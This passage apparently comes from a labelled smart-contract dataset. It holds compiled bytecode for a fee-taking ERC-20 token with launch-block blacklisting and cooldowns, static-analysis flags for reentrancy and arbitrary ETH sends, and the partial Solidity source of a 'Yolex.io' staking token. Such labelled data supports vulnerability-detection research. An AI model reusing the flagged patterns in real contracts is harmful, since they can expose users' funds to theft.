6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f2a06c499a704b7c7576187b2f07f4ed3351118b4db3f5d07f61d5b8388ac3da64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,151 |
0xcac7a8aec77372449412ca7c1fc945b615eaa957 | // SPDX-License-Identifier: MIT
pragma solidity >=0.4.21 <0.7.0;
pragma experimental ABIEncoderV2;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
//...................................................................................
abstract contract ERC20Basic {
function totalSupply() public virtual view returns (uint256);
function balanceOf(address who) public virtual view returns (uint256);
function transfer(address to, uint256 value) public virtual returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
//..............................................................................................
abstract contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public virtual view returns (uint256);
function transferFrom(address from, address to, uint256 value) public virtual returns (bool);
function approve(address spender, uint256 value) public virtual returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//..................................................................................................
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public override view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public override view returns (uint256) {
return balances[_owner];
}
}
//........................................................................................
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public override view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
//....................................................................................
contract YexToken is StandardToken {
address public administrator;
string public constant name = "Yolex.io";
string public constant symbol = "YEX";
uint public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100 * (10 ** decimals);
modifier onlyAdminstrator(){
require(administrator == msg.sender, "requires admin priviledge");
_;
}
}
contract TokenStakingReward is YexToken {
address public yolexController;
mapping(string => RewardPackage) public rewardPackages;
MintedTokensRecord[] public tokenMintsRecord;
mapping(address => Staker) public stackers;
RewardPackage[] public listOfPackages;
uint public salePrice = 5 ether;
uint public presaleCount = 0;
string prePackage = "PRESALE";
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
administrator = msg.sender;
balances[administrator] = INITIAL_SUPPLY;
}
modifier onlyController(){
require(
administrator == msg.sender ||
yolexController == msg.sender,
"requires controller or admin priviledge");
_;
}
event AdminChange (
string indexed message,
address indexed newAdminAddress
);
struct MintedTokensRecord {
uint amount;
uint timeStamp;
}
struct RewardPackage {
uint id;
string symbol;
string packageName;
string rebasePercent;
string rewardPercent;
uint256 durationInDays;
uint256 rewardCapPercent;
bool isActive;
}
struct Staker {
uint id;
address stakerAddress;
uint256 amountStaked;
bool isActive;
bool isMatured;
uint256 startDate;
uint256 endDate;
string stakingPackage;
uint256 rewards;
uint256 rewardCap;
string rewardPercent;
uint256 rewardCapPercent;
}
struct Rewards {
address stakerAddress;
uint256 reward;
bool isMatured;
}
address newAdminAddress;
address newControllerAddress;
function changeRate(uint _newRate) external onlyAdminstrator returns(bool){
salePrice = _newRate;
return true;
}
function assignNewAdministrator(address _newAdminAddress) external onlyAdminstrator {
newAdminAddress = _newAdminAddress;
emit AdminChange("confirming new Adminstrator address", newAdminAddress);
}
function acceptAdminRights() external {
require(msg.sender == newAdminAddress, "new admistrator address mismatch");
uint256 _value = balances[administrator];
balances[administrator] = balances[administrator].sub(_value);
balances[newAdminAddress] = balances[newAdminAddress].add(_value);
administrator = newAdminAddress;
emit AdminChange("New Adminstrator address", administrator);
}
